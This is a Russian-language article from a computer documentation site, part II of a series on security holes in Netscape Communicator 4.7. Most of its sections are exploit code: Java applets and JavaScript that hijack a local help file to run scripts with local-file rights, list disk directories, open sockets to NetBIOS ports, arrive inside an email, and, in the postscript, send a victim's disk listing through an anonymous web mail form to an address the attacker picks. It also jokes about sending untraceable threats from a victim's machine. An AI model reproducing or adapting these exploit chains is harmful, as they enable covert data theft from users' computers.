InfoCity
InfoCity - виртуальный город компьютерной документации
Реклама на сайте







Размещение сквозной ссылки

 

"Безопасный" Netscape Communicator 4.7. Часть II. Доступ к локальным каталогам и сокетам.


Часть II


Предисловие


Приведённые в статье приёмы частично основаны на недоработке системы безопасности JVM, упоминавшейся в посткриптуме статьи 'Безопасный' Netscape Communicator 4.7. Читаем чужие настройки, обходим ограничения Java... ( далее упоминаемой как часть I), и проблемах LiveConnect Java изложенных там же в главе 2 ( далее - I.2). Приступая к чтению, по возможности, ознакомьтесь с последней редакцией части I.

Большое спасибо всем, откликнувшимся на предыдущую часть и особенно N. Adler'у, S. Charapaev'у, B. A. Sidorov'у, Н. А. Дариной за конструктивную критику и полезные советы по написанию статей.

II.1. JVM имеет право на личную жизнь... :)


Одно из важнейший ограничений системы безопасности Javascript в NC состоит в том, что из страниц открытых http -протоколу, запрещён доступ по протоколу "file://", например конструкция open(file://...) - выдаст ошибку (access disallowed). Также JS запрещён вызов страниц about: (например about:cache). В NC 4.7 введено ещё более строгое ограничение - доступ ко внутренним элементам/объектам документа ( например window.document.link), возможен только из страницы, открытой в том же домене. Например при попытке доступа из chat.ru/collect.html к формам, загруженным c диска, NC 4.7 сообщит об ошибке: "access disallowed from scripts at http://www.chat.ru/~avkvladru/collect.html to documents at another domain."

Для чего нужны были вышеприведённые ограничения, Вы увидите чуть позже.

К, сожалению, Java-машина живёт по своим законам... Фрагмент апплета

URL myURL=new URL("file:///...");
getAppletContext().showDocument(myURL,"newwin");

открывает новое окно c именем newwin c локальным файлом вне зависимости от места расположения вызывающего кода. Также доступны страницы about:! (Стандартная функция getAppletContext() класса Applet даёт возможность обратиться к внешней среде апплета, а showDocument передаёт наименование нового документа браузеру).

Впрочем, думалось автору, сама по себе эта ошибка не представляет в версии 4.7 особой опасности, ведь доступ локальным файлам( каталогам) возможен только из такого же. Поэтому в статье и в hackzone.rsn оказался эпитет "небольшой баг"; а тем, кто поленился обновить старый Netscape, так и надо, там и других ошибок немало... На всякий случай, решено было ещё раз почитать справку.

II.2 NetHelp помогает всем...


Нет, описаний обхода системы безопасности там не оказалось. Просто листая исходники справки обратила внимание на строку 124 файла IdxFill.html ( Каталог \Program Files\Netscape\Communicator\Program\NetHelp\")

---
top.bindDocEvts( document )
---

Мало того, что имеет место вызов определённой во внешнем файле функции, так ей ещё и в качестве параметра передаётся ссылка на объект document вызванной страницы!!! Пусть, мол, пользователь на своей шкуре почувствует, что такое Динамический HTML 8-().

Нам остаётся только определить bindDocEvts в заголовке страницы и вызвать IdxFill.html в качестве фрейма. Ах, да доступ к файлам с внешних страниц запрещён. Был. Никто не мешает нам дать ссылку на файл содержащий апплет, описанный в II.1

<html>
<head>
<SCRIPT LANGUAGE="JavaScript">

function bindDocEvts( docObj ) {
  docObj.write("<script> :");
};
var lastKnownValue="none";  // Эта строка необходима, чтобы коректно
выполнилась первая, ненужная нам часть IdxFill
</script>
</head>
<FRAMESET COLS="50%,50%">
...
<FRAME SRC="readr.html" NAME="v1">
</FRAMESET>
</html>
---------------------------
chat.ru/~avkvladru/readr.html
---------------------------
<html>
:
<applet    code=second.class
    name=second
    width=720    height=240 >
</applet>
...
</html>
---------------------
chat.ru/~avkvladru/second.java
--------------------
...
public class second extends Applet
{
...
public void paint(Graphics g)
...
URL myURL=new URL("file://D|/Program Files/Netscape/
			Communicator/Program/NetHelp/IdxFill.htm");
  getAppletContext().showDocument(myURL,"_self");
...
}

Параметр "_self" функции ShowDocument, означает, что myURL замещает текущее окно (фрейм).

Внимание, этот пример дан в предположении что Netscape Communicator установлен на диск D c стандартными опциями пути. Результатом его выполнения является произвольный скрипт, исполняющийся от имени локального файла!!!

Возникает вопрос: как найти справку в конкретной системе? Никто не обязывает пользователя устанавливать браузер в стандартные каталоги, а тем более на диск D:. Неужели разработчики NC могли оставить эту проблему нерешенной ;-(? Нет, конечно. Точный путь к NС в конкретной системе содержится в переменной filename объекта navigator.plugins[1]. в виде "путь/program/plugin/:" (До сих пор не могу понять ЗАЧЕМ нужно было открывать сведения о расположении plugin'ов! 8-();)

Файл справки всегда находится в каталоге "путь/program/NetHelp/". Воспользуемcя функцией split. Результатом скрипта navigator.plugins[0].filename.split(\"plug\")[0] + "NetHelp/IdxFill.html" и будет требуемый путь. Только как передать эту информацию в апплет? "Разумеется" и здесь Netscape идёт навстречу! "Небольшое дополнение" к стандартным библиотекам Java, (описанное в разделе III Сlient-Side JavaScript Guide v1.3." ), открывает доступ ко всем объектам JavaScript

import netscape.javascript.*;

JSObject win = JSObject.getWindow(this);

String NCPath=win.eval("navigator.plugins[0].filename.split(\"plug\")[0]").toString()+
	"nethelp/idxfill.htm";

Осталось решить, что можно написать в оператор write.

II.3 Файловая структура.


Широко известна особенность Netscape, представляющая открываемый каталог, как список линков. Возможно это и удобно при работе с ftp, но опасность этого решения уже неоднократно демонстрировалась различными эксплойтами, "дорвавшимися" к диску. Давайте не будем нарушать традицию. Читаем содержимое корневого каталога диска C:/ .

-----
chat.ru/~avkvladru/dirsock3.html
-----
<html><head><title>second </title>
<SCRIPT LANGUAGE="JavaScript">

function bindDocEvts( docObj ) {
 alert("continue 1");

 docObj.write("<script>  for(i=1;i<top.v1.document.links.length;i++) 
 alert(top.v1.document.links[i].href); "+
"alert('directory loaded...finish')"+"<"+"/script"+">");
};
 var lastKnownValue="none";
</script>
</head>
<FRAMESET COLS="50%,50%">
<FRAME SRC="readrc.html" NAME="v1">
<FRAME SRC="readrpp.html" NAME="w1">
</FRAMESET> </html>
----------
chat.ru/~avkvladru/readrpp.html
----------

<html>
<head> <title>second</title> </head>
<body>
<applet code=readrp.class
    name=readrp
    mayscript=on
    width=720 height=240 >
<B> SET Java On</B>
</applet>
Ok
</body> </html>
----------
chat.ru/~avkvladru/readrp.java
----------
import java.applet.*;
import java.awt.*;
import java.net.*;
import netscape.javascript.*;
public class readrp extends Applet
{
	public void paint(Graphics g)
	{ try {

		JSObject win = JSObject.getWindow(this);
                String NCPath = win.eval("navigator.plugins[0].filename.split(\"plug\")[0]").toString()
+"nethelp/idxfill.htm";
                String ConvPath="file:///"+NCPath.replace(':','|').replace('\\','/');
                URL myURL=new URL(ConvPath);
 	      	  g.drawString(ConvPath, 10, 10);
		getAppletContext().showDocument(myURL,"_self");

		} catch (Exception e) {
 	      	  g.drawString(e.toString(), 10, 10);
		}
	}
}

Приведённый пример выводит (в Unicode) имена каталогов( файлов) из с:/.

Осталось адаптировать взятый из любого учебника рекурсивный код, сканирующий диск.

II.4. NetBios, ты меня слышишь?


Хоббит - это не только ценный мех.
Автор неизвестен.

Вам словосочетание "порты 137-139" что-нибудь говорит? Конечно, администраторы и локальных сетей, наученные горьким опытом, давно уже пользуются сетевыми фильтрами и файерволами, запрещающими доступ к NetBios с внешних адресов. Беда в том, что некоторые из пользователей ещё и Netscape'ом пользуются.

Код запущенный от имени локального файла может обращаться к любым портам localhost по протоколам TCP UDP и др. реализованным в стандартных библиотеках Java, или тех, что мы сочтём нужным подгрузить.

---------
chat.ru/~avkvladru/extsock.html
---------
<html>
<head>
<title>second </title>
<SCRIPT LANGUAGE="JavaScript">

function bindDocEvts( docObj ) {
 alert("sock");

 docObj.write("<script> var mySock=new
java.net.Socket("+'"'+"localhost"+'"'+",137);"+
"<"+"/script"+">");
docObj.write("<script> var mySock=new
java.net.Socket("+'"'+"localhost"+'"'+",139);"+
"<"+"/script"+">");

-
};
var lastKnownValue="none";
</script>
</head>
<FRAMESET COLS="50%,50%">


<FRAME SRC="blank.htm" NAME="bl"> 
<FRAME SRC="readr.html" NAME="w1">
</FRAMESET>

</html>
blank.html - пустой файл.

Поскольку обращение идёт с локального же адреса, фильтр ничего не замечает. Впрочем, этот пример больше оценят пользователи Unix/Linux.

Можно написать ещё несколько примеров использования ошибок II.1, II.2. Возможности разняться в зависимости от используемой версии NC, но полагаю, что читатели уже поняли - Java лучше отключить, а NetHelp стереть.

II.5. "Безопасный Netscape Messenger (NM)"


(добавлено 31/01/2000)

У всех перечисленных выше багов был один "недостаток", мешающий их адресному или "индивидуальному" применению - надо вначале "заманить" нужного нам пользователя на страничку с эксплойтом. Это не слишком трудно, но методы "социальной инженерии" в отличии от технических, срабатывают не всегда, а так хочется совершенства: ;-)

Лучше всего бы прислать страничку пользователю письмом или заставить последнее открыть нужный адрес. На первый взгляд это невозможно - в письмах запрещены фреймы, а javascript по умолчанию отключен, да и функции open/location все равно не поддерживается JS for Messenger. Как всегда, в трудную минуту на помощь приходит апплет, который по умолчанию поддерживаются NM, имеющим общую c Navigator'ом JVM и никак не осведомленную об ограничениях. Достаточно встроить в "мыло" вызов "приложеньеца", содержащего уже известный код

URL myURL=new URL("http://www.chat.ru/~avkvladru/dirsock.html");
getAppletContext().showDocument(myURL,"newwin");

и при попытке прочитать пришедшее письмо запустится эксплойт. Причем не произойдет даже переключения на вновь открытое окно! ( Зачем утруждать взломщика маскировкой?).

II.6. Не прячьте настройки - это бесполезно.


Как вы наверное уже заметили, сканирование каталогов в принципе открывает путь к нахождению пользовательских настроек, а так же кэша и почты (о них позднее). Напомню, что каталог в котором обычно хранятся настройки ( кэш, почта) имеет вид

\Program Files\Netscape\Communicator\User\имя_пользователя\ (cache,mail).

Как сканировать каталоги мы уже знаем. Правда пользователь, прочитавший ч. I. может ( начиная с NC 4.6) при помощи "User Profile Manager" переместить их куда угодно, например в /temp/tmpuser, так что найти их трудновато. Неужели разработчики NC забыли облегчить атакующему жизнь?

Как известно стандартная фунция Java API, getDocumentBase().toString() -возвращает строку, содержащую адрес документа, из которого был исполнен объект. Как вы думаете, что вернет функция у апплета, вызванного из письма? Правильно, адрес пришедшего письма на диске вида

mailbox:/C|/Program files/Netscape/Users/vsdrfwksa/mail/Inbox?id=948971427%40:

где часть, заключенная между mailbox: и /mail/Inbox? : и является адресом пользовательского каталога!? До сих пор не могу понять, зачем это было сделано?

Осталось добавить несколько слов о кэше. Netscape кэширует почти все прочитанные файлы в каталоге

/Program files/Netscape/Users/пользователь/cache/ ,

предварительно изменяя их имена.

Допустим, мы отдали команду загрузить файл xxx.htm, содержащий код, разрешенный к исполнению только для локального файла ( например описанный в ч.I.1). Конечно, он не исполнится, но его копия окажется в кэше, адрес которого нам уже известен. Как сканировать каталог, подробно описано выше ( здесь надо будет сравнить две версии каталога с целью обнаружения нового файла). Теперь файл загружаем как локальный: Этот способ можно использовать в случае сложных(громоздких) эксплойтов, которые не всегда удобно применять через дырку в NetHelp.

C Уважением
A. V. Komlin.

P.S. В ряде полученных мной писем выражалась ошибочная ( по мнению автора) точка зрения, что приведенные в статьях приемы доступны только владельцам серверов ( или тем кто имеет на них доступ к CGI и файлам) или требуют для отсылки явно указывать IP адрес, что позволяет легко вычислить использующего их.

В настоящее время это не соответствует действительности. Во-первых, приемы приведенные в ч.I.2 позволяют написать Java -код, могущий отослать почту через почтовый сервер, поддерживающий ошибку скрипта. (ч. I.2). Во-вторых, можно воспользоваться любым Web-интерфейсом отсылки почты, замаскировав его под безобидный запрос nick'а или имени, благо Netscape JS, начиная с версии 1.2. позволяет подставлять в значения полей форм результаты операций (или просто значения переменных) в формате

<input name = from value =&{JSObject}; ...>

Вот конкретный пример:

Вначале сохраним результат сканирования диска в переменной top.pss.
----------------------------------------------
Фрагмент http://www.chat.ru/~avkvladru/dirsock4.html, начало
----------------------------------------------
<SCRIPT LANGUAGE="JavaScript">

 var pss="directory c:<br>";
 var bl=window.location.toString().split("/dirsock")[0];
 var adr="none@none.ru";
function bindDocEvts( docObj ) {
 
 docObj.write("<script>  for(i=1;i<top.v1.document.links.length;i++)
top.pss+=(top.v1.document.links[i].href+'<br>'); "+
 "<"+"/script"+">");
 docObj.write(top.pss);

Чтобы "далеко не уходить" рассмотрим отсылку на примере сервера security.lgg.ru, который представляет Web-интерфейс для [анонимной при желании] отсылки почты. Сценарий находится в anon/mail.pl. Переименуем в sendmai.html и внесем необходимые изменения.

----------------------------------------------
Фрагмент http://www.chat.ru/~avkvladru/sendmail.html
----------------------------------------------

<FORM METHOD=POST ACTION="http://security.lgg.ru/anmail/mail.pl"><PRE> 
<font face="Verdana, ARIAL" size="1"><INPUT NAME=from
value=&{java.net.InetAddress.getLocalHost().getHostName()+"@name.is"};
SIZE=35> - From</font>
 <font face="Verdana, ARIAL" size="1"><INPUT NAME=to value=&{top.adr};
SIZE=35>  -  To</font>
 <font face="Verdana, ARIAL" size="1"><INPUT NAME=subject value="scan of c:"
SIZE=35> - Subject</font><BR>
 <font face="Verdana, ARIAL" size="1"><INPUT NAME=body
value=&{'"'+top.pss+'"'}; SIZE=1000> - Message</font><BR>
</PRE>

Полю from присваиваем адрес, содержащий имя хоста пользователя (см. I.3) Полю to - адрес для отсылки рез-тов (например avkvladru@mail.ru) ( в примере адрес запрашивается вызовом prompt("Enter mail...");

Также изменим тип поля body (был - textarea) на <Input> благо CGI к таким деталям нечувствителен.

Осталось дописать в sendmail.html скрипт, обеспечивающий отсылку формы

----------------------------------------------
Фрагмент http://www.chat.ru/~avkvladru/dirsock4.html, продолжение
----------------------------------------------

<script>
 document.forms[0].submit();
</script>
и обеспечить его вызов из BindDoc
top.adr=prompt("Введите почтовый адрес,на который отослать результаты анализа
диска (Enter e-mail for sent result)","avkvladru@mail.ru");
// alert(adr);
 v1.location=bl+"/sendmail.html";
};
var lastKnownValue="none";
</script>
</head>
<FRAMESET COLS="50%,50%">
<FRAME SRC="readrc.html" NAME="v1">
<FRAME SRC="readrpp.html" NAME="w1">
...

Единственное, что возможно спросит у пользователя Netscape: "можно ли отослать незашифрованные данные в какую-то форму". На практике большинство пользователей давно отключили этот запрос или не обращают на него внимания, т.к. он выдается при отсылке каждой формы. Кроме того, смысл запроса элементарно замаскировать, запросив тем же prompt имя или nick пользователя, якобы для дальнейшего обращения.

Этот эксплойт отсылает результат сканирования Вашего диска по запрошенному e-mail просто при наличии у злоумышленника домашней странички на любом общедоступном сервере. Разумеется его работоспособность зависит от сервера lgg.ru, но на 01.01.2000 пример работал, да и аналогичных служб множество...

;-) Впрочем, могут сделать и кое-что другое. Например заманить Вас на страничку, незаметно отсылающую письмо г-ну П$&*ну (отключив флажок "анонимность"), с угрозой убить его, если он не прекратит войну в Чечне. И все это уйдет от Вашего Ip и hostname. причем на машине - никаких следов взлома. Наверняка содержимое каталогов будет потом подробно обсуждаться в местной прессе. 8-С.

P.P.S. Все приведенные в статье примеры выложены на http://www.chat.ru/~avkvladru/ и вроде бы работают.

С Уважением - А. В. Комлин.

[Назад]


Реклама на InfoCity

Яндекс цитирования



Финансы: форекс для тебя








1999-2009 © InfoCity.kiev.ua